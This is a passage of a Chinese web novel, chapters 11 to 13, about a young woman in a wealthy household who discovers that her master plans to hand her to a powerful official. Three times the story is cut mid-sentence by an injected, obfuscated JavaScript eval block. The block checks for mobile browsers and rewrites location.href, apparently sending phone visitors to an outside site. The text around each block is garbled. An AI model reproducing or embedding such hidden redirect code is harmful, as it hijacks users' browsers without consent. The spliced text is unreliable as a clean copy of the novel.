小莲却在她问话的瞬间，瞪圆了眼睛。 11. 第十一章 夜幕低垂，华灯初上，酒宴开席了。 史大官人无疑是众人瞩目的中心，苏梅章在他到场之际，便让座去了下首。 其余邀请的宾客，有新就任的小官，有落魄失意的文士，也有正备考的穷酸白身，几乎都是沽名钓誉、巧舌如簧之徒。苏梅章需要他们去吹捧史大官人。 一时间觥筹交错，溢美之词不绝如耳。 但有一人显得格格不入。苏梅章望去，但见夏叔懋一言不发，闷头喝酒，显得心事重重。他事先给来客和奴仆打过照顾，故此没人敢打搅他。 史大官人也不在乎席座上来了何人，有美酒珍馐，还有人附小做低，任谁都不能大过他，逐渐找回了曾经在怀都的排场，只是还觉差了点意思。 苏梅章时刻观察着他的神色，见状朝承安使了个眼色，自己则举起杯盏向史大官人敬酒：“某今日一睹官人风采，顿觉春风中坐，心中实难掩亲近之情，还请官人赏某能敬您一杯的机会。” “好说，今日你是主，我才是客，何至于此啊？”史大官人一饮而尽，磕下杯盏，极快变脸，有些不满道，“只是这难得的佳会，倒少了些丝竹管弦，翩翩歌舞，到底不如怀都包罗万象。” “官人莫恼，某自准备妥当。”苏梅章脸上挂着得体从容的笑。 酒过半巡，霓裳曳入，珠歌翠舞。 小莲被妆点了一番，带了上来，战战兢兢地坐到了史大官人身旁。她想起妈妈们的话，实在害怕，端起酒壶时，抑制不住地泄露出几丝颤抖。 眼前的大官似乎落下了挑剔的目光，正上下打量着她，却不吱声，拿过酒杯，要与众人再痛饮醇酿。 小莲这才看到了他布满褐斑的手，以及颤巍巍站起、腹部胀圆的样子，心下震惊之余，排斥油然而生：她就算是要去傍权贵，也绝不会选又老又丑的！ 与前院的热闹不同，后院总是寂静的。 江令月独自待在房内，往事一幕幕，如在眼前——从苏梅章第一眼相中她，到入了苏家与老太太相互汲暖，再就是华服、美饰、珍膳……即使她并不贪婪流连，也避免不了被富贵包围其中。 只是原来这些都是要付出代价的，世上哪有那么多不计报酬的怜惜。 至少她遇不到。 江令月抬首望月，唯见缺月悬挂，月色如银，凉沁沁的，仿佛顺着眼眸，流入她的心窝，沉到了底。 彦夜未尽，筵席便结束了，概因史大官人。 苏梅章心中憋着一股郁气，薄唇微抿，他的确没料到，这人竟是个有癖好的。小莲是不能趁此扔出去解决了，而且他还得另花重金，将名伶送去史府赔罪。 他暂且重新将大半心思放回到夏叔懋身上。 此时宾客俱散，唯他落到最后，脚步已有些虚浮，苏梅章迎了上前，也免掉一番关切，直说：“大人今夜不妨歇在寒舍。家母素日无亲朋好友往来，难得您不嫌她年纪大，好说教，从傍晌得知您要来，就在某耳边絮叨着，只盼能再与大人小叙一会。某在此斗胆，恳请大人留下，明晨与家母共用早膳。” 夏叔懋思绪略显疑滞，顿了片刻，才颔首作答。承安体贴地扶着他，引去下榻之处。 好了，现下只剩一人需要应付。 苏梅章来到厢房，止了巧珠等人的动作，又挥了挥手，让她们全数退下。 他放轻脚步，走入里间，不甚明亮，只一盏灯烛即将燃尽。 江令月侧对着他，粉墙上倒映出两人的影子，仔细一瞧，她纤薄的肩头犹在隐忍地颤耸着。 这里是她的闺房，到处都充斥着她的气息，是一种从靡颜腻理、温枕软玉中透露出的甜香，隐晦又旖旎，连同软帐轻幔，轻易安抚了苏梅章绷紧多时的头脑。 他稍许感到闲适，离得近了，才发觉自己在墙上的身影并未膨大，反而愈加微小。 思绪漫散，他正想着这是何故，余光里倏尔滚落了几颗泪珠，浑如冬日枝头扑簌掉落的雪花，在最后一抹暖光的辉照下，滑过白洁的腮颊，无息坠落，消融于尘埃。 他顺势朝地面看去，毯子上洇湿了一团，像凝结的水花。 苏梅章愣在原地，女子轻易不在他跟前哭，若难过极了，便像当下，闷不出声，似一头跪坐团缩、默默舔舐伤口的褐鹿。 顷刻间，仿佛有人抓住了他胸前的衣物，狠狠攥实起来，再不复来时的松逸，紧接着呼吸受阻，血液凝滞，窒息胁迫着他，如同刀尖抵胸，逼出了白日不曾有过的情绪。 ——似乎是愧疚，又似乎是羞惭。 他后悔了吗？……不。 苏梅章蓦地清醒，握紧皮肉所带来的疼痛，将方才那荒谬的想法压制下去。 他当然不会后悔，看着江令月痛苦，这在他当初的设想中是算作对自己的褒奖。 江令月暗自垂泪，忽觉有一只手拂上她的脸颊，掌心原干燥温热，霎时也变得潮湿不已。她怔松几息，泪眼婆娑地抬了头，眼前人像破碎的玻璃，她兀自拼了好一会儿，才辨认出是苏梅章。 但在下一瞬，她咬住唇肉，撇过脸，只将乌黑的后脑对着他。 苏梅章不可谓不诧异，这是江令月头一次甩脸色给他看。要说不悦，却也当不上，毕竟应对只是一声不吭的女子，倒比在外与一群老狐狸计较分毫利益，舌剑唇枪，要来得悦目娱心许多。 旋即，他忍不住嗤笑自己，这不也是他所期望看到的么？况且泥人都有三分火，明晓意中人要将自己送走，愤怒是几乎难以避免的。 由此也更加可以佐证，他的努力没白费。江令月必是奉出了真心，才会对情绪失去掌控。 只不过凡事讲究过犹不及，他还记得此番过来不是为了刺激她，令她崩溃的。 既然如此，他便不能置之不理。 这也是从大局考虑。 苏梅章握了握手中犹如莹润琼珠的热泪，换上关切的神情，走到她面前，放轻语气道：“这是怎么了？是因为听了小莲的话？” 江令月在他开口前，便感到懊恼，反省自己是否过分了。可转念一想，小莲与她在花园发生口角的事，必然早被一字不漏地痛禀上去，但他白天甚至没有派一个普通的杂役传话，于只言片语中短促地安抚，而是等到夜深，才姗姗来迟。 明知故问。 江令月的心情愈加糟了，鼻头酸涩，她挤不出一句话回应，又不想教苏梅章看到自己失态的模样，这会压低她的气势，于是侧开身，扭转头去。 她不敢拾起眼眸，因此也没有注意到，身后男子的面容上，覆了一层难看的阴霾。 苏梅章推开半掩的木窗，单手抓在横格交错的窗棂上，指甲透出白，视线随意扫过对面，不过片刻，又冷静下来。 他带了几分认真，转过几步，与江令月对面而站，并不是很近，垂下眼睫。 外廊上悬挂的吊灯换了新烛，透了柔光进来，映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791890|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬出江令月的靡颜腻理。 她收起了笑，眉眼便清冷起来。即使意志消沉，刻在骨子里的素养依然如同支柱撑起了她，肩胛绷直，仪态端正，轮廓变得倔强又锋利。 这副姿容仿佛与初见时重合。 要不是瞥到女子攥紧帕子的柔夷，苏梅章差点以为，那个被蒙骗的可怜人是他。 “白日被琐事缠住了手脚，总想着快些处理好，我再来亲自同你解释，才不会让你误会，没想到拖到了这么晚。” 苏梅章收敛了心神，主动蹲下身，顿了顿，又道，“千户的长姐近日刚到临州，亦无诰命在身，老太太便想挑些人过去陪她说说话，顺便了解临州风情。她思来想去，属意两人，一个是小莲，一个则是你。小莲嘴快机灵，必不会让场子冷下来，你性子娴静平稳，又在临州生活多年，正好互相照应。但此事还没下定论，需问过大人的意见，所以我和老太太暂且没有提前告知与你。” 江令月将他说的话听入了耳，合情合理，却不是完全的信任，她有些踌躇，似乎有什么教她忽略了……是小莲！ 要论及对她还有什么怒气，那并没有，可能先前会有不满，但江令月觉得这也是人之常情，毕竟小莲对她的厌恶来得莫名，但几个时辰过去，也剩不下多少。 都是女子，都是远离家乡被卖入苏家，哪有跨不去的深仇大恨。 可她当时只顾着把心思集中在小莲说的话上，再就是被申妈妈请离，到现在竟想不起来，小莲最后是得了什么处罚。 既然是要过夏府去，那么尽管相陪的并不是夏叔懋的妻室，也不算件小事。若是将功补过，那她便是安全的，若是…… 江令月原来相信，苏梅章在她面前温柔和悦，在苏母面前毕恭毕敬，想来不论何地，或是何人，表现的也是始终若一、柔嘉维则的貌像。 然而她近日窥见了他冰冷若霜、乖戾阴邪的另一面，两回。 她很矛盾。 她一直都认为，世上没有完人，即使是知根知底的人，在他转过身、关上门的那一刻，也许就成了另一种人。可她不曾将这种想法套用在苏梅章身上，只恐玷污了他，故而当事实摆在眼前时，她才会格外难以接受，却又慢慢地，酝酿出与以往相悖的情感。 江令月此刻脸上露出了担忧的神情，忙不迭问道：“小莲还能与我同去吗？申妈妈罚了她什么？”她还是换了个委婉的说法。 苏梅章轻蹙眉头，面容显露出几分疑惑和愕然。他凝视着女子，似乎在确认她是否真的在为一个愚笨鲁莽的下人而感到忧虑。 得到江令月毫不避闪的眼眸后，苏梅章在心底哂笑：她难道不应该更关心一下自己的处境吗？ “她被关在了柴房。”苏梅章想看看，她接下来是不是还要替小莲求情？ 果不其然，江令月闻言，思忖了下，恳切道：“小莲本性不坏，差点泄露了主子的话，的确是她犯了错，但还能及时纠正，更何况她也没有动手害过人，不能以对待恶人的法子对她。柴房阴暗，又离厨房近，不知会否有老鼠出没，让小莲呆在里面实在不妥。” 苏梅章几乎要禁不住讥讽，溢出刻薄的笑声。 看啊，他都能猜到，江令月又是要摆出一副烂好人的样子——从来不把下人看作是下贱之人。 明明被亲舅舅背弃，但对旁人还是没有戒心，就连巧珠在她身边好几年，都没有丝毫怀疑，对方是被安排去监视她的。 12. 第十二章 江令月看不出苏梅章的心中所想。 他的面相实在好，额发饱满，眉形温和，自然放松状态下，即使不笑，也只令人觉得是尊玉佛，并不会因此而心有惴惴。但江令月知道他有个习惯，思虑间会下意识地移开视线，同时抿唇。 她见苏梅章表现出自己都可能不曾察觉的小动作时，便知对方是将话都听了进去，正权衡着。 可她担心苏梅章想得太深，小莲就失了机会，于是探出左手，钻入他放在膝头上的右手，还不敢十指相扣，只加上自己的另一只，包住青年的手掌，借肌肤相贴、热意共转打断他。 苏梅章醒过神，反过来握住：“小莲守不住口是其错之一，用小聪明偷懒、欺瞒上下才是大错，是不能够留在老太太身边伺候的，苏家也不需要这等心思不纯的人，但——”他顿了下，对上她祈盼的目光，诱导道，“若是我再给小莲一次改过自新的机会，月娘能原谅我今日累你伤心之过吗？” 江令月咬起嘴上微微皱起的皮，她隐约觉得有哪里不对，却难免顺着他的思路，考虑是否要以一换一。 不想错过她一瞬神情的苏梅章，但见江令月的下唇被逐渐濡湿，透出润泽，齿舌若隐若现，红露白，白含粉，令他很有些魂不守舍。他伸出食指，抵在女子贝齿撕咬的位置，笑了笑：“月娘不必急着决定，到天亮前，你随时可以告诉我，你的选择。” 江令月尚不明白他的意思，却见苏梅章再度低下头，这回是连身量都矮了，她急忙抓住男子的锦衣，脸颊染上绯红，声音窄窄轻轻道：“……回里间去罢。” 大抵是隔着衣裙，苏梅章扣住她，嗓音显得有些又闷又黏：“其他人都遣走了。” 江令月忍着痒意，匆匆回头，窗外只有檐下灯还亮着，周遭没有一个人影，往外掠去，也是黢黑一片。 莫名地，她的眼眸停在了某处，那是与她相对的一间空房。 但很快，她顾不上这异样的感受从何而来。眼中晕出虚浮的光圈，她只能倚在窗台上，兀自喘息。双脚触不到实地，仿佛坐在了悬崖边，却不敢睁眼向下望，耳边是汩汩的水声，沥沥循着地势，坠往崖底。溪水会否枯竭凝滞，又是深入几何，去向何处，江令月一概不清。她只是迷蒙地朝天上眺去，想知晓今夕是何夕。 遽然，绚丽的烟花照亮了稀松平常的夜空。 那是去年，江令月的生辰。 苏梅章花了心思，提前找了许多匠人，制作出近四丈高的药发傀儡，及至生辰当天，整个后院一齐点燃。先是滋滋的声响，而后便见傀儡蹦出，无数的花火迸射，或飞舞，或蹿跳，霎时星光点点，白蔼蔼一片，真如银瓶乍散，火树银花。 惊喜是真的，忆中人低头落吻那刻，流露出的珍视也不是假的。 到底是什么变了？ 江令月阖上眼，指尖勾缠住微凉的发带，轻轻一扯，墨发迎面散落。她将这稠密的乌缎握入手中，迎上前，堵住他的薄唇，咽下了所有疑虑。 或许，她该相信他的。 * 夏叔懋自认酒户不狭，现下脑袋却有些发昏。 咕咚。 好像自旁侧传来一声响动。 是下人给他备了热水来？ 夏叔懋迷迷糊糊地起身，发现四下黑得不见五指，唯有一丝光亮，从格窗外透进来。鬼使神差般，他向前走去，拂开朦胧的纱帘，透过半开的缝隙，朝外看了过去—— 最先入目的，是繁盛的栀子，团团簇簇，洁白嫣然，忽有一枝斜外而生，正颤巍巍地晃动。 夏叔懋循着花头望去，一张芙蓉粉面闯入眼帘。 他认出了女子，唯见她坐在四方的窗边，素手纤白，紧紧抓着木框，仰头阖目，月华照在脸上，亮晶晶的，神情似迷离，又似痛苦，几不可闻的啜泣好像缠绕的细绳，令他浑身燥热，无法移开半步。 倏地，她的声音婉转起来，愈加柔媚，身子像一把拉到极致的弯弓，白皑皑一团玉山随之显露在夏叔懋的眼中。此刻他只庆幸自己的好目力，黑眸一动不动，捕捉到细密的汗，滑过粉颊，顺着纤颈，流入到轻薄的衣衫中，与肌肤密不可分。最后他的视线停留在了起伏之上。 夏叔懋觉得自己陷入了一处软绵之地。 他感到更加的闷热难耐，口鼻被捂住，呼吸都艰难了起来。 他一下回忆起殷富的幼时。因父亲是在牲畜背上长大的，最好奶豆腐，每月附近的农庄送来一桶鲜牛乳，家里的妈妈便会立马做上一盆。他还顽皮，总是会在奶豆腐将凝未凝之际，央着妈妈撕一块出来，趁它温热就反复玩捏。 而那压在他面上的东西似乎也带着体温，香香软软的。 夏叔懋试探地动了动头，鼻腔顷刻间被堵得愈加严实，他伸手拽它，好像是棉絮，抓不到实处，又好像是流沙，一头凹陷，另一头就争先恐后地涌上。 窒息慢慢逼近，意识即将消散，他只好用蛮力拉扯，使劲挣扎，终于在最后的关头解脱了束缚，得以大口喘气。 这时，夏叔懋才发现外面天光既晓，清风徐来，纱帘微微曳动，他的心跳得飞快，两股之间一片濡湿。 * 醒来时苏梅章已经不在了。 江令月独自用膳，问起巧珠道：“小莲如何了？”她想起，私下里巧珠也求她能在苏梅章面前说些好话。 “相公解了她的禁闭，把她调到厨房做事了。”巧珠回道。 她心中颇有感慨，小莲日后只能与柴炉为伴，又是相公亲自下令，恐怕累死累活也再难出头，同时警醒自己，千万要谨言慎行，否则摆在眼前的似锦繁花，也终究摸不着、摘不去。 江令月闻言松了口气，好险苏梅章是饶过了小莲。 她观巧珠并未刻意远离小莲，想必也有常妈妈的意思在，那么来日小莲是能在厨房站住脚的。 只是假如时光能倒流，她希望小莲没有进到深宅大院中。 早膳用完不多久，望溪来报，苏母请江令月过去一趟。 收拾妥当后，江令月刚出门，就见对面那间空房，窗牖半开，正有仆役进出打扫。 她不是个爱探究的，虽然空房离自己的厢房近，但一则从未有人住进去过，二则洒扫不是由她经手，所以江令月根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795506|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚它的用途何在。 昨晚那奇异的感受再次溢上心头，她的脚步不受控地往那处走去。而此刻，她只想亲眼确认，在那扇窗牖内，是不是能窥看到她房中的一切。 下一刻，一堵人墙挡在了江令月的面前，定眼一看，是申妈妈。 申妈妈客气地行了礼，提醒道：“这房许久不曾打开透透气，里边闷臭得很，姑娘仔细些，别靠太近了。” 话说到这份上，江令月也不好再越过她，只是有心查探，眼睛在外围转了一圈，扮出讶异的模样，问了句：“我平日里甚少见到这阵仗，不知里面放的是什么贵价东西，需要这么多人打理？” 申妈妈滴水不漏道：“姑娘，恕老奴不能说。” 江令月听罢，面上露出了悟的神色，只是申妈妈那副古井无波的样子，到底教她的心沉了沉。 越是无法知悉的，就越是令人不安。 巧珠插嘴道：“姑娘，老太太还等着呢。” 江令月只好收了心，暗自劝慰是多虑了。 路上，望溪突然朝她道：“最近天愈发热了，老太太还念着姑娘之前说要送的绣扇。” 巧珠满脸疑惑，想不起姑娘何时许诺过。 江令月同她一般，只是素来端静，极快掩饰了过去，并隐约察觉到，望溪似是冲着她一人来的。 可是该如何支开巧珠？ “蛇！在那儿！”望溪很快想到了办法，指着巧珠的脚下喊道。 招式简单却十分奏效，巧珠吓得往旁边跳开，江令月也下意识抬脚离开原处，恰好向前，望溪扶了把，迅速在她耳畔滑过：“奴婢有话。” 声音骤响，江令月差点将头都偏了过去，心中砰砰直跳。 望溪早就松开了手，踏步上前，大胆地捏住了那条“蛇”，原来不过是根虬结在一块的枯枝。 巧珠见状，拍了拍胸脯，缓了片刻，才后知后觉地看向姑娘，眉头紧蹙，正一脸害怕，心里不免发虚，暗骂自个儿真是胆小，倒把姑娘撇在了一旁。 她赶忙过去扶住了人。 江令月便顺势装作受惊的模样，大腿也发疼，靠着廊柱坐下，缓了一会儿，道：“巧珠，能劳你回房帮我拿下绣扇罢？” 巧珠犹豫了下，江令月看在眼里，低首面红道：“……不怕你们笑话，我实在脚软，还要再歇歇。 方才听望溪提起绣扇，我想起奁子里收起一把，那日你告假了，所以不晓得，现下正好拿来，也能向老太太赔个罪，别怪我去晚了。 我和望溪就在这处等你……” 本来她说到此处，便想止了话，概因说多显得刻意，可见巧珠仍未应承，只得继续道：“好巧珠，我知道天热，你替我跑一趟，回去我给你要碗湃得清凉且料多的甜水，好么？” 江令月坐在廊下，身后是漫开的夹竹桃，花冠深粉，似桃花般艳妍。她甚少露出女儿娇态，此刻柔着声线，眼中含情，应了那句人比花娇。 美人只是静坐便足够惊艳，更遑论对着撒娇。巧珠自然顶不住，只觉面上一烫，嘴角却抑不住地上扬，点了点头，脚步轻快地走了。 13. 第十三章 江令月望着巧珠的背影，像只欢快的蝴蝶。 待她渐渐飞远了，望溪凑近，感谢道：“谢姑娘替小莲说话，她如今虽在厨房做事苦了些，但好歹清净下来，避开了祸事。” 苏家富贵，各院都有油水可捞，再者宅中只两位主子，都不是刁钻的，若能就此安定，远离辗转的命运，也不算太坏。 ……祸事？ 见女子满脸不解，望溪这回谨慎许多，先是往四周瞧了瞧，才压低声道：“小莲托我向姑娘道个错，此前是她小肚鸡肠，将姑娘看作是家中的继姐，迁怒于姑娘，才出言不逊。承蒙姑娘大恩，非但没有恼她，还肯求情，心中实在难安，故又托我传达个秘事，一是报恩，二也是不愿再见姑娘被蒙在鼓中。” “……是什么事？”江令月攥了攥手心。 望溪一字一句道：“小莲曾经从常妈妈口中得知，她以后是要被送到别家去，作为苏家讨好攀权的工具，而姑娘，听她所言，也是如此。” …… 巧珠找到了团扇，扇面绣了花鸟佛手图。她马上赶了回来，见江令月神色如常，正侧目赏花，少许放下心来，相公可是警醒了她，近日要盯紧姑娘，免得出事； 目光微移，又见望溪立在一旁，两人之间还隔着一臂，她的心情更是好了几分，可想而知，姑娘也不是谁来都能亲近上的，还得是她，才最得姑娘喜欢。 三人来到梧桐苑。 江令月献上绣扇，难得苏母只是摸了一遍，便夸了起来。 今日是有正事的。吴霭云放下扇子，拉过江令月交代了一番，与昨夜苏梅章所说大差不差。 不过眼下，点明只让江令月亲自上门，拜见夏叔懋的长姐，夏芍。 吴霭云听她脉象平稳，猜想江令月此刻必是一副温顺的样子，又哪里能知道，就在几刻前，身边的丫鬟向她告出了阖家上下仅死死隐瞒一人的秘密。 她心中安定，好意道：“上夏府也不能空手去，你这些日子最好再辛苦些，赶个绣品出来，到时送上去，既表了心意，也展露了苏绣的精妙。” “老太太可有主意，我该绣个什么样的物件好？”江令月讨问道。 “时间不多，大物件肯定是不行的。”吴霭云思索道，“是送给女子的……绣个台屏罢。我库房里收了几座，待会你挑个有把握的，回去比照着来。” 江令月应诺。 “夏氏虽只是千户的表姐，此番是和离了投奔而来，但千户收留了她，你一样要当作千户的长辈来对待，不可轻忽。”吴霭云透了底，仔细叮嘱，旋即想到什么，面上挂着笑，戏谑道，“她带了一双子女回来，正好你能向她求个经，为日后做打算。” 站在旁侧只作听客的巧珠，尚且感到耳热，她好奇地往姑娘面上瞧去，果见羞意将她蒸得双颊都浮了层绯色。 江令月却是被老太太的话弄得满头杂绪，心如芒刺。 苏母提及的取经，自然是生子经。 可她真的要怀胎十月，生下在瓜熟蒂落前，甚至不知男女和性格如何的孩子么？如果她从得知胎儿的存在起，就不喜欢它，即使生了出来，也不能保证永远爱它，甘愿付出所有，又该怎么办？ 江令月私心认为，她做不到将孩子的感受看得比自己还重。 她从梧桐苑出来，便着手绣制送礼。 江令月沉浸在比对、勾画、挑色等等工序上，脑子终于平静，开始捋清思绪。 目下有两种声音在她耳边交织，到底涉及自身的命途，她需要新的声音去证实其中一种。 可是该找谁呢？ 忆起望溪刻意避开巧珠的举动，江令月反应过来，巧珠肯定是知情的。 或许，她一开始就是被派到自己身边监视的。 江令月素日与她几乎形影不离，唯独每月初十和二十的晚上，院子里是找不到人的。 巧珠曾向她请求过，因家中还有幼弟幼妹，想抽空回去照看一二，也离得不远，就在苏家后门对出的巷子里，故而江令月当时听罢立即允了； 每次巧珠俱是在翌日的午后回来，手上拎一包外街售卖的新鲜糕点，江令月也从不疑她。可这中间有太多可以操弄的地方了，假如巧珠回过头去了前院……只要苏梅章不想让她知晓，那她就绝对不会察觉一点。 入了伏的季节，本该是热汗涔涔，但因摆了冰盆，室内清凉阵阵，江令月却浑身发了冷，一股寒气从脚底直钻入她的心窝。 若望溪所言皆为真，那苏梅章是否在决定买下她的那刻起，就暗中计划着日后把她送出去？而老太太是否也早就知晓，还与亲儿一道欺瞒着她？ 江令月有些喘不上气，满脑晕眩，仿佛溺了水。眼前猝然闪过的，是青年向她伸过来的，干燥微凉的掌心，亦是妇人朝她揽过来的，温暖湿润的怀抱。 六年足够她长成亭亭淑女，也足够她将苏家视作第二个家。 她把头抵在了桌案边上，像条搁浅的鱼，急促呼吸着。这样端的不好受，口鼻堵塞，脑袋发胀，可绷紧的理智犹自提醒她，不许再装聋作哑下去。 江令月的头脑转得实在缓慢了些，但渐渐明悟过来，她已经对苏梅章的解释起了疑心，倒不如继续怀着不信任的想法，从他身上索证。 这次不能如昨夜那样行事，被动、温和、心软，她需使他在防备不及的情形下再作出答对，如此便又迂回到巧珠这儿入手。 只是诱使巧珠交代所知不过是她确认事实的第一步，接下来该如何做，还得看了巧珠的反应后才能决定。 如果从来都是算计…… 江令月松开手，眸中还扑簌掉着泪，却面无表情地拔出插入指腹的细针，而后探出舌尖，将冒出的血珠悉数卷走，腥锈的味道遽然窜过鼻腔，两片朱唇也显得愈加靡艳。 枯朽的，会伤害到她的，是该撇掉。 * 临去夏府前，江令月表现得与往常别无一二。 直到出门的前一日早晨。 江令月坐在梳妆台前，眼眸微垂。 巧珠替她挽好髻，询道：“姑娘今日想戴什么首饰？” 江令月打开妆奁的最下一层，里面摆着的是她极少使用，却精美珍贵的珠钗。她抽了其中两支，巧珠一瞧便知与今日的衣裙不搭，刚想提醒，就见姑娘将它们都递到了眼前。 “我方才想起，这层很久没打开过了。平日也用不上，倒教这些宝物蒙尘，与其放我这空耗，不如送你，好让它们见见光。” 巧珠难掩喜色，她娘是老太太身边的亲信，爹在还外头管着一间铺子，吃穿不愁，可这等足重色亮的首饰，也不是咬咬牙就能买入的。 但即刻，她又发觉些许的反常，囊括姑娘拿出来的两支，价贵的首饰都是相公所赠，姑娘当是最珍重。 怎么就要送给她了？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799844|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >思及此，也不管具体缘由，巧珠连忙推脱。 江令月见她不肯收下，稍显急切地握住她的手腕，张了张嘴，又顿了下，道：“巧珠，你说相公他……是不是要将我送给、夏千户。” “姑娘又在胡思乱想了。”巧珠心下一惊，脸上却极认真道，“这定是院里的人眼红姑娘得相公喜爱，所以乱嚼舌根了！看我不狠狠啐他们一顿！” 说完，作势就要往外去。她也有些慌神，心想得去找娘问问该怎么办。 江令月哪容她现在离走，起了身把她拉了回来，一番举动下来，巧珠被摁在了圆凳上，她则虚虚地叠拢了指头，搭在对方的单肩上，像座小玉山似的，不无落寞道：“与他们无关，是我自己琢磨的。不然怎么偏要我一人上夏府去？” “姑娘与夏娘子差得岁数不多呀，老太太还说您懂分寸，咱们宅上老妈妈们的性子，虽是爽朗，可就是一身市侩气，嘴上没个把门，仔细把夏府的门槛踩低了，得罪了人。”巧珠匆匆解释道。 “我也不是不信你，只是心里实在难安。可我也找不到别的人问了。”江令月攥紧帕子，眉眼间凝着忧楚，“我不是要你现在就说个清楚。你人好，院里少有不喜你的，或许你听过什么话，一时没记起来。你不用急着拒绝我，好好想想，若有疑处，告诉了我，我决计不会说出去。 先前我从常妈妈那儿晓得，你日后是要嫁给读书人做正头娘子的，那簪子便当是我送予你添妆的。无论你想不想得起来，我都不会收回，而假如你有所发现，在后日出门前言明，我还另有重谢。” 说着，江令月把簪子大剌剌摆在桌案上。 其实巧珠与读书人有婚约一事，大半是她推断出来的。 此前她碰到过几回，巧珠捧着信纸，喃喃念诗的情形，本也没多想，可巧赵娘子从外听了个事，说的是离苏家后巷不远的另一个巷子，出了个秀才，恁多媒人上门都不应，只道与青梅竹马的表妹有婚约。 而常妈妈有没有漏了口风，江令月也不敢将话说满，但至少常妈妈从未对巧珠的婚事松口，显然另有打算。其余种种不再赘述，总归她只是试探着将话摆出，原还担心估错，但瞧巧珠面上的神情，应是没差了。 一提到心上人，巧珠蓦地脸颊微红，但转瞬，惊诧间又掺杂了些失措，暗想娘怎么把这种事露了出去，尽管姑娘不是个多嘴的，但要是从此止不住嘴了，那这八字只剩一撇的事，保不齐又要横生枝节； 她看上去圆脸圆眼，一副涉世未深、单纯的样子，可心底明镜似的，杜表哥的爹虽然眼睛盯着她手中的嫁妆，但是背地里的心思，又不停地觑到别的家境优渥的良家子身上。 况且她还没弄清是谁向姑娘泄了密，经过方才那一遭，她倒是要怀疑那个人就是娘。如此一来，她更不敢将江令月找她私问实情一事说出去。 常妈妈是有智的，只是偶尔拎不清与苏母之间是主仆关系，遇到难事会想寻老太太说道几句。 但今回再提，麻烦就不小了。 毕竟小莲还在梧桐苑时，娘与她关系最好，假如有是常妈妈漏嘴的流言传入相公耳中，即使不一定为真，但兴许就信了几分，老太太身边的老奴他不好动，可卡一卡老奴的女儿脱籍，不过眨眼的工夫。 一边是厚金，一边是重责。 所以，到底要不要向姑娘讲明一切？ 巧珠的内心反复纠结了起来。